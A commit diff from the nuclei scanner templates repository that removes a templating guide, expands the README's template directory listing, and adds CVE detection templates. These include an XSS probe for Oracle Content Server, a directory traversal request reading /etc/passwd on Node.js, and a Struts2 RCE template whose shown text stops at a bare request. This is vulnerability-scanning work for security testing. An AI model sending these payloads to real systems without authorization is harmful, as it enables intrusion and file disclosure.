Merge pull request #344 from Sy3Omda/master

add Credentials Disclosure template to check for common secrets

.gitignore

@@ -0,0 +1,2 @@
+.DS_Store
+local/

.nuclei-ignore

@@ -0,0 +1 @@
+.pre-commit-config.yaml

GUIDE.md

@@ -1,608 +0,0 @@
-# Templating Guide
-
-**Nuclei** is based on the concepts of `YAML` based template files that define how the requests will be sent and processed. This allows easy extensibility capabilities to nuclei.
-
-The templates are written in `YAML` which specifies a simple human readable format to quickly define the execution process.
-
-Let's start with the basics and define our own workflow file for detecting the presence of a `.git/config` file on a webserver and take it from there.
-
-## Table of Contents
-
-   * [Templating Guide](#templating-guide)
-      * [Template Details](#template-details)
-         * [<strong>Info</strong>](#info)
-         * [<strong>HTTP Requests</strong>](#http-requests)
-            * [<strong>Method</strong>](#method)
-            * [<strong>Redirects</strong>](#redirects)
-            * [<strong>Path</strong>](#path)
-            * [<strong>Headers</strong>](#headers)
-            * [<strong>Body</strong>](#body)
-            * [<strong>Matchers</strong>](#matchers)
-               * [<strong>Types</strong>](#types)
-               * [<strong>Conditions</strong>](#conditions)
-               * [<strong>Matched Parts</strong>](#matched-parts)
-               * [<strong>Multiple Matchers</strong>](#multiple-matchers)
-            * [Extractors](#extractors)
-            * [<strong>Example HTTP Template</strong>](#example-http-template)
-         * [<strong>DNS Requests</strong>](#dns-requests)
-            * [<strong>Type</strong>](#type)
-            * [<strong>Name</strong>](#name)
-            * [<strong>Class</strong>](#class)
-            * [<strong>Recursion</strong>](#recursion)
-            * [<strong>Retries</strong>](#retries)
-            * [<strong>Matchers</strong>](#matchers)
-            * [<strong>Example DNS Template</strong>](#example-dns-template)
-         * [<strong>Chained workflow</strong>](#chained-workflow)
-
-## Template Details
-
-Each template has a unique ID which is used during output writing to specify the template name for an output line.
-
-The template file ends with **.yaml** extension. The template files can be created any text editor of your choice.
-
-```yaml
-# id contains the unique identifier for the template.
-id: git-config
-```
-
-ID must not contain spaces. This is done to allow easier output parsing.
-
-### Info
-
-Next important piece of information about a template is the **info** block. Info block provides more context on the purpose of the template and the **author**. It can also contain a **severity** field which indicates the severity of the template.
-
-Let's add an **info** block to our template as well.
-
-```yaml
-info:
-  # Name is the name of the template
-  name: Git Config File Detection Template
-  # Author is the name of the author for the template
-  author: Ice3man
-  # Severity is the severity for the template.
-  severity: medium
-```
-
-Actual requests and corresponding matchers are placed below the info block and they perform the task of making requests to target servers and finding if the template request was successful.
-
-Each template file can contain multiple requests to be made. The template is iterated and one by one the desired HTTP/DNS requests are made to the target sites.
-
-### HTTP Requests
-
-Requests start with a request block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-requests:
-```
-
-At this point you can define raw requests like the following ones (as of now it's suggested to leave the `Host` header as in the example with the variable `{{Hostname}}`).
-
-```yaml
-requests:
-  - raw:
-    - |
-        GET /path1/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a1/b1
-    - |
-        POST /path2/ HTTP/1.1
-        User-Agent: chrome
-        Host: {{Hostname}}
-        Accept: a2/b2
-
-        This is the request Body
-```
-
-Otherwise you can define structured requests as described in the following paragraphs. Requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers. A recent addition in raw requests has been the introduction of intruder-like functionalities. It's possible to define placeholders as `{{placeholder}}`, and perform Sniper, Pitchfork and ClusterBomb attacks. The wordlist for these attacks needs to be defined during the request definition under the `Payload` field. Finally all DSL functionalities are fully available and supported, and can be used to manipulate the final values. Here follows an example:
-
-```yaml
-id: dummy-raw
-info:
-  name: Example-Fuzzing
-
-requests:
-  - payloads:
-      param_a: /home/user/wordlist_param_a.txt
-      param_b: /home/user/wordlist_param_b.txt
-    attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
-    raw:
-      # Request with simple param and header manipulation with DSL functions
-      - |
-          POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
-          User-Agent: {{param_a}}
-          Host: {{Hostname}}
-          another_header: {{base64(param_b)}}
-          Accept: */*
-
-          This is the Body
-      # Request with body manipulation
-      - |
-          DELETE / HTTP/1.1
-          User-Agent: nuclei
-          Host: {{Hostname}}
-          
-          This is the body {{sha256(param_a)}}
-      # Yet another one
-      - |
-          PUT / HTTP/1.1
-          Host: {{Hostname}}
-          
-          This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
-    matchers:
-      - type: word
-        words:
-          - "title"
-          - "body"
-```
-
-This functionality is **not optimized** for speed as the internal http library needs to be set explicitly with connection reuse policy.
-
-#### Method
-
-First thing in the request is **method**. Request method can be **GET**, **POST**, **PUT**, **DELETE**, etc depending on the needs.
-
-```yaml
-# Method is the method for the request
-method: GET
-```
-
-#### Redirects
-
-Redirection conditions can be specified per each template. By default, redirects are not followed. However, if desired, they can be enabled with `redirects: true` in request details. 10 redirects are followed at maximum by default which should be good enough for most use cases. More fine grained control can be exercised over number of redirects followed by using `max-redirects` field.
-
-An example of the usage:
-
-```yaml
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/login.php
-    redirects: true
-    max-redirects: 3
-```
-
-#### Path
-
-The next part of the requests is the **path** of the request path. Dynamic variables can be placed in the path to modify its behavior on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **BaseURL** - Placing BaseURL as a variable in the path will lead to it being replaced on runtime in the request by the original URL as specified in the target file.
-2. **Hostname** - Hostname variable is replaced by the hostname of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-path: {{BaseURL}}/.git/config
-# This path will be replaced on execution with BaseURL
-# If BaseURL is set to  https://abc.com then the
-# path will get replaced to the following: https://abc.com/.git/config
-```
-
-Multiple paths can also be specified in one request which will be requested for the target.
-
-#### Headers
-
-Headers can also be specified to be sent along with the requests. Headers are placed in form of key/value pairs. An example header configuration looks like this:
-
-```yaml
-# headers contains the headers for the request
-headers:
-  # Custom user-agent header
-  User-Agent: Some-Random-User-Agent
-  # Custom request origin
-  Origin: https://google.com
-```
-
-#### Body
-
-Body specifies a body to be sent along with the request. For instance:
-
-```yaml
-# Body is a string sent along with the request
-body: "{\"some random JSON\"}"
-```
-
-#### Matchers
-
-Matchers are the core of nuclei. They are what make the tool so powerful. Multiple type of combinations and checks can be added to ensure that the results you get are free from false-positives.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 6 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| status       | Status Code of Response    |
-| size         | Content Length of Response |
-| word         | Response body or headers   |
-| regex        | Response body or headers   |
-| binary       | Response body              |
-| dsl          | All Response Parts         |
-
-To match status codes for responses, you can use the following syntax.
-
-```yaml
-matcher:
-  # Match the status codes
-  - type: status
-    # Some status codes we want to match
-    status:
-      - 200
-      - 302
-```
-
-To match binary for hexadecimal responses, you can use the following syntax.
-
-```yaml
-matchers:
-  - type: binary
-    binary:
-      - "504B0304" # zip archive
-      - "526172211A070100" # rar RAR archive version 5.0
-      - "FD377A585A0000" # xz tar.xz archive
-    condition: or
-    part: body
-```
-
-To match size, similar structure can be followed. If the status code of response from the site matches any single one specified in the matcher, the request is marked as successful.
-
-**Word** and **Regex** matchers can be further configured depending on the needs of the users.
-
-Complex matchers of type **dsl** allows to build more elaborated expressions with helper functions, this is an example of a complex DSL matcher:
-
-```yaml
-matchers:
-  - type: dsl
-    dsl:
-      - "len(body)<1024 && status_code==200" # Body length less than 1024 and 200 status code
-      - "contains(toupper(body), md5(cookie))" # Check if the MD5 sum of cookies is contained in the uppercase body
-```
-
-Every part of a http response can be matched:
-
-| Response Part    | Description                                     | Example                   |
-|------------------|-------------------------------------------------|---------------------------|
-| content_length   | Header Content-Length                           | content_length >= 1024    |
-| status_code      | Response Status Code                            | status_code==200          |
-| all_headers      | Unique string containing all headers            | len(all_headers)          |
-| body             | Body as string                                  | len(body)                 |
-| header_name      | Lowercase header name with "-" converted to "_" | len(user_agent)           |
-| raw              | Headers + Response                              | len(raw)                  |
-
-This is the list for a dns response:
-
-| Response Part    | Description                       | Example                   |
-|------------------|-----------------------------------|---------------------------|
-| rcode            | Response status                   | rcode == "NXDOMAIN        |
-| question         | Response Question Section         | len(question)             |
-| extra            | Response Extra Section            | len(extra)                |
-| answer           | Response Answers Section          | len(answer)               |
-| ns               | Response Authority Section        | len(ns)                   |
-| raw              | Full Response                     | len(raw)                  |
-
-The helper functions are:
-
-| Helper Function | Description                               | Example                                                                                        |
-|-----------------|-------------------------------------------|------------------------------------------------------------------------------------------------|
-| len             | Length of a string                        | len("Hello") // Result: 5                                                                      |
-| toupper         | string to uppercase                       | toupper("Hello") // Result: "HELLO"                                                            |
-| tolower         | string to lowercase                       | tolower("Hello") // Result: "hello"                                                            |
-| replace         | Replace string parts                      | replace("Hello", "He", "Ha") // Result: "Hallo"                                                |
-| trim            | Remove trailing unicode chars             | trim("aaaHelloddd", "ad") // Result: "Hello"                                                   |
-| trimleft        | Remove unicode chars from left            | trimleft("aaaHelloddd", "ad") // Result: "Helloddd"                                            |
-| trimright       | Remove unicode chars from right           | trimleft("aaaHelloddd", "ad") // Result: "aaaHello"                                            |
-| trimspace       | Remove trailing spaces                    | trimspace("  Hello  ") // Result: "Hello"                                                      |
-| trimprefix      | Trim specified prefix                     | trimprefix("aaHelloaa", "aa") // Result: "Helloaa"                                             |
-| trimsuffix      | Trim specified suffix                     | trimsuffix("aaHelloaa", "aa") // Result: "aaHello"                                             |
-| base64          | Encode string to base64                   | base64("Hello") // Result: "SGVsbG8="                                                          |
-| base64_decode   | Decode string from base64                 | base64_decode("SGVsbG8=") // Result: "Hello"                                                   |
-| url_encode   | URL encode a string                 | url_encode("https://projectdiscovery.io/test?a=1") // Result: "https:%2F%2Fprojectdiscovery.io%3Ftest=1"     |
-| url_decode   | URL decode a string                 | url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1") // Result: "https://projectdiscovery.io/test?a=1"     |
-| hex_encode   | Hex encode a string                 | hex_encode("aa") // Result: "6161"     |
-| hex_decode   | Hex decode a string                 | hex_decode("6161") // Result: "aa"     |
-| html_escape   | Hex encode a string                 | html_escape("<html><body>test</body></html>") // Result: "&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;"     |
-| html_unescape   | Hex decode a string                 | html_unescape("&lt;html&gt;&lt;body&gt;test&lt;/body&gt;&lt;/html&gt;") // Result: "<html><body>test</body></html>"     |
-| md5             | Calculate md5 of string                   | md5("Hello") // Result: "8b1a9953c4611296a827abf8c47804d7"                                     |
-| sha256          | Calculate sha256 of string                | sha256("Hello") // Result: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969"  |
-| sha1          | Calculate sha1 of string                | sha1("Hello") // Result: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0"  |
-| contains        | Verify if a string contains another one   | contains("Hello", "lo") // Result: True                                                        |
-| regex           | Verify a regex versus a string            | regex("H([a-z]+)o", "Hello") // Result: True                                                   |
-
-##### Conditions
-
-Multiple words and regexes can be specified in a single matcher and can be configured with different conditions like **AND** and **OR**.
-
-1. **AND** - Using AND conditions allows matching of all the words from the list of words for the matcher. Only then will the request be marked as successful when all the words have been matched.
-2. **OR** - Using OR conditions allows matching of a single word from the list of matcher. The request will be marked as successful when even one of the word is matched for the matcher.
-
-##### Matched Parts
-
-Multiple parts of the response can also be matched for the request.
-
-| Part   | Matched Part                         |
-| ------ | ------------------------------------ |
-| body   | Body of the response                 |
-| header | Header of the response               |
-| all    | Both body and header of the response |
-
-Example matchers for response body using the AND condition:
-
-```yaml
-matcher:
-  # Match the body word
-  - type: word
-   # Some words we want to match
-   words:
-     - "[core]"
-     - "[config]"
-   # Both words must be found in the response body
-   condition: and
-   #  We want to match request body (default)
-   part: body
-```
-
-Similarly, matchers can be written to match anything that you want to find in the response body allowing unlimited creativity and extensibility.
-
-##### Multiple Matchers
-
-Multiple matchers can be used in a single template to fingerprint multiple conditions with a single request.
-
-Here is an example of syntax for multiple matchers.
-
-```yaml
-matchers:
-  - type: word
-    name: php
-    words:
-      - "X-Powered-By: PHP"
-      - "PHPSESSID"
-    part: header
-  - type: word
-    name: node
-    words:
-      - "Server: NodeJS"
-      - "X-Powered-By: nodejs"
-    condition: or
-    part: header
-  - type: word
-    name: python
-    words:
-      - "Python/2."
-      - "Python/3."
-    condition: or
-    part: header
-```
-
-##### Matchers Condition
-
-While using multiple matchers the default condition is to follow OR operation in between all the matchers, AND operation can be used to make sure return the result if all matchers returns true.
-
-```yaml
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        condition: or
-        part: header
-
-      - type: word
-        words:
-          - "PHP"
-        part: body
-```
-
-#### Extractors
-
-Extractors are another important feature of nuclei. Extractors can be used to extract and display in results a match from the response body or headers based on a regular expression.
-
-Currently only `regex` type extractors are supported. A sample extractor for extracting API keys from the response body is as follows:
-
-```yaml
-# A list of extractors for text extraction
-extractors:
-  # type of the extractor, only regex for now.
-  - type: regex
-    # part of the response to extract (can be headers, all too)
-    part: body
-    # regex to use for extraction.
-    regex:
-      - "(A3T[A-Z0-9]|AKIA|AGPA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}"
-```
-
-#### **Example HTTP Template**
-
-The final template file for the `.git/config` file mentioned above is as follows:
-
-```yaml
-id: git-config
-
-info:
-  name: Git Config File
-  author: Ice3man
-  severity: medium
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/.git/config"
-    matchers:
-      - type: word
-        words:
-          - "[core]"
-```
-
-### DNS Requests
-
-Requests start with a dns block which specifies the start of the requests for the template.
-
-```yaml
-# Start the requests for the template right here
-dns:
-```
-
-DNS requests can be fine tuned to perform the exact tasks as desired. Nuclei requests are fully configurable meaning you can configure and define each and every single thing about the requests that will be sent to the target servers.
-
-#### Type
-
-First thing in the request is **type**. Request type can be **A**, **NS**, **CNAME**, **SOA**, **PTR**, **MX**, **TXT**, **AAAA**.
-
-```yaml
-# type is the type for the dns request
-type: A
-```
-
-#### Name
-
-The next part of the requests is the **name** of the request path. Dynamic variables can be placed in the path to modify its value on runtime. Variables start with `{{` and end with `}}` and are case-sensitive.
-
-1. **FQDN** - variable is replaced by the hostname/FQDN of the target on runtime.
-
-Some sample dynamic variable replacement examples:
-
-```yaml
-name: {{FQDN}}.com
-# This value will be replaced on execution with the FQDN.
-# If FQDN is https://this.is.an.example then the
-# name will get replaced to the following: this.is.an.example.com
-```
-
-As of now the tool supports only one question per request.
-
-#### Class
-
-Class type can be **INET**, **CSNET**, **CHAOS**, **HESIOD**, **NONE** and **ANY**. Usually it's enough to just leave it as **INET**.
-
-```yaml
-# method is the class for the dns request
-class: inet
-```
-
-#### Recursion
-
-Recursion is a boolean value, and determines if the resolver should only return cached results, or traverse the whole dns root tree to retrieve fresh results. Generally it's better to leave it as **true**.
-
-```yaml
-# Recursion is a boolean determining if the request is recursive
-recursion: true
-```
-
-#### Retries
-
-Retries is the number of attempts a dns query is retried before giving up among different resolvers. It's recommended a reasonable value, like **3**.
-
-```yaml
-# Retries is a number of retries before giving up on dns resolution
-retries: 3
-```
-
-#### Matchers
-
-Matchers are just equal to HTTP, but the search is performed on the whole dns response, therefore it's not necessary to specify the **part**. Multiple type of combinations and checks can be added to ensure that the results you get are free from false positives. The complex **dsl** matcher type allows to build complex queries as described in the HTTP section.
-
-##### Types
-
-Multiple matchers can be specified in a request. There are basically 5 types of matchers:
-
-| Matcher Type | Part Matched               |
-| ------------ | -------------------------- |
-| size         | Response size              |
-| word         | Response                   |
-| regex        | Response                   |
-| binary       | Response                   |
-| dsl          | Response                   |
-
-## **Example DNS Template**
-
-The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
-
-```yaml
-id: dummy-cname-a
-
-info:
-  name: Dummy A dns request
-  author: mzack9999
-  severity: none
-
-dns:
-  - name: "{{FQDN}}"
-    type: A
-    class: inet
-    recursion: true
-    retries: 3
-    matchers:
-      - type: word
-        words:
-          # The response must contains a CNAME record
-          - "IN\tCNAME"
-          # and also at least 1 A record
-          - "IN\tA"
-        condition: and
-```
-
-# Chained workflow
-
-It's also possible to create conditional templates which executes after matching the condition from the previous templates, mostly useful for vulnerability detection and exploitation and tech based detection and exploitation, single, multiple along with directory based templates can be executed in chained workflow template.  
-
-Chained workflow supports both HTTP and DNS request based templates. 
-
-Example of running single / multiple templates only if `detect-jira.yaml` is detected host running Jira application. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-  
-  jira: panels/detect-jira.yaml
-  jira_cve_1: cves/CVE-2018-20824.yaml
-  jira_cve_2: cves/CVE-2019-3399.yaml
-  jira_cve_3: cves/CVE-2019-11581.yaml
-  jira_cve_4: cves/CVE-2017-18101.yaml
-
-logic: 
-    |
-  if jira() {
-    jira_cve_1()
-    jira_cve_2()
-    jira_cve_3()
-    jira_cve_4()
-
-  }
-```
-
-Example of running directory based templates when `detect-jira.yaml` is detected host running Jira application, based on this you can define your own workflow to run scans based on any or specific stacks. 
-
-```yaml
-id: workflow-example
-info:
-  name: Jira-Pawner
-  author: mzack9999
-
-variables:
-
-  # defining templates using variables. 
-  # variables names as user-defined, it could be anything.  
-  # relative path support is now added into the nuclei engine for better UX. 
-
-  jira: panels/detect-jira.yaml
-  jira_pwn: my-jira-templates/
-
- # defining directory to run all the templates
-
-logic: 
-    |
-  if jira() {
-    jira_pwn()
-
-  }
-```
-

README.md

@@ -1,6 +1,251 @@
+# Nuclei Templates
+
+[![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT)
+[![GitHub Release](https://img.shields.io/github/release/projectdiscovery/nuclei-templates)](https://github.com/projectdiscovery/nuclei-templates/releases)
+[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei-templates/issues)
+[![Follow on Twitter](https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter)](https://twitter.com/pdnuclei)
+[![Chat on Discord](https://img.shields.io/discord/695645237418131507.svg?logo=discord)](https://discord.gg/KECAGdH)
+
 Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** and grow the list.
 
-Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
+<details>
+<summary>Template Directory</summary>
+
+```
+├── LICENSE.md
+├── README.md
+├── cves
+│   ├── CVE-2017-10075.yaml
+│   ├── CVE-2017-7529.yaml
+│   ├── CVE-2017-9506.yaml
+│   ├── CVE-2017-9841.yaml
+│   ├── CVE-2018-0296.yaml
+│   ├── CVE-2018-1000129.yaml
+│   ├── CVE-2018-11409.yaml
+│   ├── CVE-2018-11759.yaml
+│   ├── CVE-2018-1247.yaml
+│   ├── CVE-2018-1271.yaml
+│   ├── CVE-2018-13379.yaml
+│   ├── CVE-2018-14728.yaml
+│   ├── CVE-2018-16341.yaml
+│   ├── CVE-2018-18069.yaml
+│   ├── CVE-2018-19439.yaml
+│   ├── CVE-2018-20824.yaml
+│   ├── CVE-2018-2791.yaml
+│   ├── CVE-2018-3714.yaml
+│   ├── CVE-2018-3760.yaml
+│   ├── CVE-2018-5230.yaml
+│   ├── CVE-2018-7490.yaml
+│   ├── CVE-2019-10475.yaml
+│   ├── CVE-2019-11510.yaml
+│   ├── CVE-2019-12314.yaml
+│   ├── CVE-2019-14322.yaml
+│   ├── CVE-2019-14974.yaml
+│   ├── CVE-2019-15043.yaml
+│   ├── CVE-2019-16759-1.yaml
+│   ├── CVE-2019-16759.yaml
+│   ├── CVE-2019-17382.yaml
+│   ├── CVE-2019-18394.yaml
+│   ├── CVE-2019-19368.yaml
+│   ├── CVE-2019-19781.yaml
+│   ├── CVE-2019-19908.yaml
+│   ├── CVE-2019-19985.yaml
+│   ├── CVE-2019-2588.yaml
+│   ├── CVE-2019-3396.yaml
+│   ├── CVE-2019-3799.yaml
+│   ├── CVE-2019-5418.yaml
+│   ├── CVE-2019-7609.yaml
+│   ├── CVE-2019-8449.yaml
+│   ├── CVE-2019-8451.yaml
+│   ├── CVE-2019-8903.yaml
+│   ├── CVE-2019-8982.yaml
+│   ├── CVE-2019-9978.yaml
+│   ├── CVE-2020-10199.yaml
+│   ├── CVE-2020-10204.yaml
+│   ├── CVE-2020-1147.yaml
+│   ├── CVE-2020-12720.yaml
+│   ├── CVE-2020-13167.yaml
+│   ├── CVE-2020-13379.yaml
+│   ├── CVE-2020-2096.yaml
+│   ├── CVE-2020-3187.yaml
+│   ├── CVE-2020-3452.yaml
+│   ├── CVE-2020-5284.yaml
+│   ├── CVE-2020-5405.yaml
+│   ├── CVE-2020-5410.yaml
+│   ├── CVE-2020-5902.yaml
+│   ├── CVE-2020-6287.yaml
+│   ├── CVE-2020-7209.yaml
+│   ├── CVE-2020-7961.yaml
+│   ├── CVE-2020-8091.yaml
+│   ├── CVE-2020-8115.yaml
+│   ├── CVE-2020-8191.yaml
+│   ├── CVE-2020-8193.yaml
+│   ├── CVE-2020-8194.yaml
+│   ├── CVE-2020-8512.yaml
+│   ├── CVE-2020-8982.yaml
+│   ├── CVE-2020-9484.yaml
+│   └── CVE-2020-9757.yaml
+├── default-credentials
+│   ├── grafana-default-credential.yaml
+│   ├── rabbitmq-default-admin.yaml
+│   └── tomcat-manager-default.yaml
+├── dns
+│   ├── azure-takeover-detection.yaml
+│   ├── cname-service-detector.yaml
+│   ├── dead-host-with-cname.yaml
+│   └── servfail-refused-hosts.yaml
+├── files
+│   ├── apc-info.yaml
+│   ├── cgi-test-page.yaml
+│   ├── debug-pprof.yaml
+│   ├── dir-listing.yaml
+│   ├── docker-registry.yaml
+│   ├── drupal-install.yaml
+│   ├── elasticsearch.yaml
+│   ├── exposed-kibana.yaml
+│   ├── exposed-svn.yaml
+│   ├── filezilla.yaml
+│   ├── firebase-detect.yaml
+│   ├── git-config.yaml
+│   ├── htaccess-config.yaml
+│   ├── jkstatus-manager.yaml
+│   ├── jolokia.yaml
+│   ├── laravel-env.yaml
+│   ├── lazy-file.yaml
+│   ├── phpinfo.yaml
+│   ├── public-tomcat-instance.yaml
+│   ├── security.txt.yaml
+│   ├── server-status-localhost.yaml
+│   ├── telerik-dialoghandler-detect.yaml
+│   ├── telerik-fileupload-detect.yaml
+│   ├── tomcat-scripts.yaml
+│   ├── wadl-files.yaml
+│   ├── web-config.yaml
+│   ├── wordpress-directory-listing.yaml
+│   ├── wordpress-user-enumeration.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── zip-backup-files.yaml
+├── generic-detections
+│   ├── basic-xss-prober.yaml
+│   ├── general-tokens.yaml
+│   └── top-15-xss.yaml
+├── panels
+│   ├── atlassian-crowd-panel.yaml
+│   ├── cisco-asa-panel.yaml
+│   ├── citrix-adc-gateway-detect.yaml
+│   ├── compal.yaml
+│   ├── crxde.yaml
+│   ├── docker-api.yaml
+│   ├── fortinet-fortigate-panel.yaml
+│   ├── globalprotect-panel.yaml
+│   ├── grafana-detect.yaml
+│   ├── jenkins-asyncpeople.yaml
+│   ├── jmx-console.yaml
+│   ├── kubernetes-pods.yaml
+│   ├── mongo-express-web-gui.yaml
+│   ├── parallels-html-client.yaml
+│   ├── phpmyadmin-panel.yaml
+│   ├── pulse-secure-panel.yaml
+│   ├── rabbitmq-dashboard.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sap-recon-detect.yaml
+│   ├── sophos-fw-version-detect.yaml
+│   ├── supervpn-panel.yaml
+│   ├── swagger-panel.yaml
+│   ├── tikiwiki-cms.yaml
+│   ├── weave-scope-dashboard-detect.yaml
+│   └── webeditors.yaml
+├── payloads
+│   └── CVE-2020-6287.xml
+├── security-misconfiguration
+│   ├── basic-cors-flash.yaml
+│   ├── basic-cors.yaml
+│   ├── front-page-misconfig.yaml
+│   ├── jira-service-desk-signup.yaml
+│   ├── jira-unauthenticated-dashboards.yaml
+│   ├── jira-unauthenticated-popular-filters.yaml
+│   ├── jira-unauthenticated-projects.yaml
+│   ├── jira-unauthenticated-user-picker.yaml
+│   ├── rack-mini-profiler.yaml
+│   ├── springboot-detect.yaml
+│   ├── wamp-xdebug-detect.yaml
+│   └── wordpress-accessible-wpconfig.yaml
+├── subdomain-takeover
+│   ├── detect-all-takeovers.yaml
+│   └── s3-subtakeover.yaml
+├── technologies
+│   ├── bigip-config-utility-detect.yaml
+│   ├── citrix-vpn-detect.yaml
+│   ├── clockwork-php-page.yaml
+│   ├── couchdb-detect.yaml
+│   ├── github-enterprise-detect.yaml
+│   ├── gitlab-detect.yaml
+│   ├── graphql.yaml
+│   ├── home-assistant.yaml
+│   ├── jaspersoft-detect.yaml
+│   ├── jira-detect.yaml
+│   ├── liferay-portal-detect.yaml
+│   ├── linkerd-badrule-detect.yaml
+│   ├── linkerd-ssrf-detect.yaml
+│   ├── netsweeper-webadmin-detect.yaml
+│   ├── ntlm-directories.yaml
+│   ├── prometheus-exposed-panel.yaml
+│   ├── s3-detect.yaml
+│   ├── sap-netweaver-as-java-detect.yaml
+│   ├── sap-netweaver-detect.yaml
+│   ├── sql-server-reporting.yaml
+│   ├── tech-detect.yaml
+│   ├── weblogic-detect.yaml
+│   └── werkzeug-debugger-detect.yaml
+├── tokens
+│   ├── amazon-mws-auth-token-value.yaml
+│   ├── aws-access-key-value.yaml
+│   ├── google-api-key.yaml
+│   ├── http-username-password.yaml
+│   ├── mailchimp-api-key.yaml
+│   └── slack-access-token.yaml
+├── vulnerabilities
+│   ├── cached-aem-pages.yaml
+│   ├── couchdb-adminparty.yaml
+│   ├── crlf-injection.yaml
+│   ├── discourse-xss.yaml
+│   ├── git-config-nginxoffbyslash.yaml
+│   ├── ibm-infoprint-directory-traversal.yaml
+│   ├── microstrategy-ssrf.yaml
+│   ├── moodle-filter-jmol-lfi.yaml
+│   ├── moodle-filter-jmol-xss.yaml
+│   ├── nginx-module-vts-xss.yaml
+│   ├── open-redirect.yaml
+│   ├── oracle-ebs-bispgraph-file-access.yaml
+│   ├── pdf-signer-ssti-to-rce.yaml
+│   ├── rce-shellshock-user-agent.yaml
+│   ├── rce-via-java-deserialization.yaml
+│   ├── springboot-actuators-jolokia-xxe.yaml
+│   ├── symfony-debugmode.yaml
+│   ├── tikiwiki-reflected-xss.yaml
+│   ├── tomcat-manager-pathnormalization.yaml
+│   ├── twig-php-ssti.yaml
+│   ├── wordpress-duplicator-path-traversal.yaml
+│   ├── wordpress-wordfence-xss.yaml
+│   └── x-forwarded-host-injection.yaml
+└── workflows
+    ├── bigip-pwner-workflow.yaml
+    ├── grafana-workflow.yaml
+    ├── jira-exploitaiton-workflow.yaml
+    ├── liferay-rce-workflow.yaml
+    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── rabbitmq-workflow.yaml
+    ├── sap-netweaver-workflow.yaml
+    ├── springboot-pwner-workflow.yaml
+    ├── vbulletin-workflow.yaml
+    └── wordpress-workflow.yaml
+```
+
+</details>
+
+13 directories, **214 templates**. 
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
 
 ------
 **Notes:** 

cves/CVE-2017-10075.yaml

@@ -0,0 +1,22 @@
+id: CVE-2017-10075
+
+info:
+  name: Oracle Content Server XSS
+  author: madrobot
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
+      - "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(31337)</script>"
+        part: body

cves/CVE-2017-14849.yaml

@@ -0,0 +1,20 @@
+id: CVE-2017-14849
+
+info:
+  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
+  author: Random-Robbie
+  severity: high
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/static/../../../a/../../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body

cves/CVE-2017-5638.yaml

@@ -0,0 +1,29 @@
+id: CVE-2017-5638
+info:
+  author: "Random Robbie"
+  name: "Struts2 RCE "
+  severity: critical
+
+# This template supports the detection part only.
+# Do not test any website without permission
+# Exploit:- https://github.com/mazen160/struts-pwn
+
+
+requests:
+  - raw:
+      - |
+          GET / HTTP/1.1
+          Host: {{Hostname}}
